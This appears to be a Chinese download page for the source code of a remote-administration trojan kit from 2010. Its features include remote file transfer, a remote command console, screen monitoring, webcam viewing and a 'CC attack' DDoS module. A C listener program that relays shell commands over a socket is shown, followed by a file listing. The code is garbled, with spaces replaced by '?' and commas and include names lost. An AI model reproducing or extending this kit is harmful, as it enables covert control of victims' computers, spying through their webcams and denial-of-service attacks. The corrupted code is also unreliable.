資源簡介
功能模塊(DLL):
支持硬盤,目錄操作,上傳,下載.
控制臺(CMD命令)
遠程屏幕操作
遠程攝像頭查看
壓力測試(cc攻擊)
參考此源代碼必須要有C語言,windows sdk編程,socket編程基礎
源代碼目錄列表:
模塊:
Exe_screen 屏幕監控程序,客戶端根據不同的SessionID,來啟動這個程序連接到中心端進行屏幕管理.
Initialize 初始化程序,一些常用的函數都在這個模塊初始化,來供其他模塊調用.
Mod_cmd 控制臺模塊
Mod_ddos 遠程CC模塊
Mod_file 文件管理模塊
Mod_screen 啟動exe_screen的模塊
Tcapdll 攝像頭模塊(vs2008)
主程序:
Kmc 為客戶端
Kms 為中心端

代碼片段和文件信息
/*
開發作者:可明
開發日期:2010.8
遠程控制編程討論群:306601696467438
*/
#include?
#include?
#include?
#include?
#include?
HANDLE?hExit?=?NULL;
unsigned?__stdcall?wordk_recv(void?*param)
{
????char?buffer[4096];
????WSANETWORKEVENTS??events;
????WSAEVENT?WSAEvent?=?WSACreateEvent();
????SOCKET?sock?=?(SOCKET)param;
????WSAEventSelect(sock?WSAEvent?FD_READ?|?FD_CLOSE);
????for?(;;)?{
????????if?(WaitForSingleobject(WSAEvent?INFINITE)?==?-1)
????????????break;
????????if?(WSAEnumNetworkEvents(sock?WSAEvent?&events)?!=?0)
????????????break;
????????if(events.lNetworkEvents?&?FD_CLOSE)?{
????????????break;
????????}?else?if?(events.lNetworkEvents?&?FD_READ)?{
????????????memset(buffer?0x0?4096);
????????????if?(recv(sock?buffer?4096?0)?>?0)?{
????????????????printf(buffer);
????????????}
????????}
????}
????SetEvent(hExit);
????return?0;
}
unsigned?__stdcall?wordk_cmd(void?*param)
{
????char?cmd[4096];
????SOCKET?sock?=?(SOCKET)param;
????for?(;;)?{
????????memset(cmd?0x0?4096);
????????gets(cmd);
????????strcat(cmd?“\r\n“);
????????send(sock?cmd?strlen(cmd)?0);
????}
????return?0;
}
int?main(int?argc?char?*argv[])
{
????if?(argc?!=?2)
????????return?-1;
????DialogBox(NULL?NULL?NULL?NULL);
????u_long?port?=?atol(argv[1]);
????WSADATA?WSAData;
????WSAStartup(0x202&WSAData);
????struct?hostent?*host;
????struct?sockaddr_in?server_in;
????struct?sockaddr_in?client_in;
????int?client_in_len;
????SOCKET?socket?=?WSASocket(AF_INET?SOCK_STREAM?IPPROTO_TCP?0?0?0);
????SOCKET?client_sock;
????host?=?gethostbyname(NULL);
????if?(host?==?NULL)
????????return?-1;
???//?printf(“Wait?%s\n“argv[1]);
????server_in.sin_family?=?AF_INET;
????server_in.sin_port?=?htons(port);
????server_in.sin_addr.s_addr?=?INADDR_ANY;
????memcpy(&server_in.sin_addr.S_un.S_addrhost->h_addr_list[0]host->h_length);
????if(bind(socket(struct?sockaddr?far*)&server_insizeof(server_in))?==?SOCKET_ERROR){
????????return?-1;
????}
????listen(socket10);
????client_in_len?=?sizeof(client_in);
????client_sock?=?accept(socket(struct?sockaddr?far*)&client_in&client_in_len);
????closesocket(socket);
????if(client_sock?!=?INVALID_SOCKET){
????????hExit?=?CreateEvent(NULLFALSEFALSENULL);
????????CloseHandle((HANDLE)_beginthreadex(NULL0wordk_recv(void*)client_sock0NULL));
????????CloseHandle((HANDLE)_beginthreadex(NULL0wordk_cmd(void*)client_sock0NULL));
????????WaitForSingleobject(hExitINFINITE);
????????CloseHandle(hExit);
????????closesocket(client_sock);
????}
????return?0;
}
?屬性????????????大小?????日期????時間???名稱
-----------?---------??----------?-----??----
?????文件????????776??2010-07-10?00:09??src\kms\kms.layout
?????文件??????17953??2010-07-16?01:01??src\kms\main.c
?????文件????????917??2010-07-16?01:01??src\kms\km_socket.h
?????文件??????16891??2010-07-16?01:01??src\kms\km_head.h
?????文件???????1697??2010-07-08?02:09??src\kms\kms.cbp
?????文件???????7669??2010-07-16?01:01??src\kms\km_socket.c
?????文件???????7460??2010-07-16?01:01??src\kms\km_main_event.c
?????文件????????494??2010-07-10?00:09??src\kms\kms.depend
?????文件????????926??2010-07-16?01:01??src\kms\km_main_event.h
?????文件???????9329??2010-07-16?00:58??src\kmc\km_head.h
?????文件???????2373??2010-07-16?01:01??src\kmc\main.c
?????文件???????8121??2010-07-06?21:11??src\kmc\tcs.rc
?????文件??????15283??2010-07-16?01:01??src\kmc\main_fr
?????文件????????518??2010-07-16?01:01??src\kmc\main_fr
?????文件???????4016??2010-07-06?21:11??src\kmc\resource.h
?????文件???????4272??2010-07-16?00:58??src\kmc\fr
?????文件???????7049??2010-07-16?00:58??src\kmc\crc32.c
?????文件???????3941??2010-07-01?23:38??src\kmc\kmc.cbp
?????文件???????1146??2010-07-16?00:58??src\kmc\km_socket.h
?????文件???????1715??2010-06-28?17:57??src\kmc\main_fr
?????文件???????8866??2010-07-16?00:59??src\kmc\m_fr
?????文件????????248??2010-07-16?00:58??src\kmc\crc32.h
?????文件????????316??2010-01-07?01:42??src\kmc\module_manger.h
?????文件????????707??2010-07-16?00:58??src\kmc\file.c
?????文件????????306??2010-07-16?00:58??src\kmc\file.h
?????文件????????463??2010-07-16?00:58??src\kmc\ip_info.h
?????文件???????2476??2010-07-16?00:58??src\kmc\ip_info.c
?????文件????????790??2010-07-16?00:58??src\kmc\fr
?????文件??????11778??2010-07-16?00:59??src\kmc\m_fr
?????文件???????4638??2010-07-16?01:00??src\kmc\m_fr
............此處省略128個文件信息
- 上一篇:C語言編寫二進制數搜索程序
- 下一篇:Linux下發包程序
評論
共有 條評論